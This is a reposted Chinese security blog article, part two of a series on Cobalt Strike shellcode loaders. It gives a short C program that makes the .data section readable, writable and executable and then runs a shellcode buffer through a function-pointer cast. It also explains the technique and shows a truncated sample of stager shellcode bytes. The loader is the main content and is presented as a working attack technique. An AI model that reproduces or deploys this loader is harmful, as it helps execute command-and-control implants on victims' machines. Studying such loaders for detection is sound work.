CobaltStrike加载Shellcode姿势解析(二)

admin 2024年2月9日01:21:34评论18 views字数 634阅读2分6秒阅读模式

函数指针加载

代码部分

#include <Windows.h>

#pragma comment(linker, "/section:.data,RWE")unsigned char shellcode[] ="";

void main() {     ((void(*)(void)) & shellcode)();  }

解析如下

1、将data段的内存属性定义为:RWE 使其具有可读可写可执行的权限

在Windows操作系统中,内存段的属性可以通过标志位来设置。其中,可读(R)、可写(W)和可执行(E)是常见的标志位

在源代码中,你不能直接将E改成X或者将X改成E。这是因为E和X是在链接器(linker)或编译器(compiler)等工具中使用的标志位,用于设置内存段的属性。

2、代码解析

在C++中,((void(*)(void)) & shellcode)(); 这段代码是一种函数指针的用法。它将 shellcode 的地址强制转换为一个指向无返回值、无参数的函数指针,然后通过调用该函数指针来执行相应的函数。


注意事项

1、注意开发环境:均可

2、shellcode格式:

unsigned char shellcode[] ="xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8bx52x30x8b""x52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0";

原文始发于微信公众号(零攻防):CobaltStrike加载Shellcode姿势解析(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月9日01:21:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike加载Shellcode姿势解析(二)https://cn-sec.com/archives/2471492.html

发表评论

匿名网友 填写信息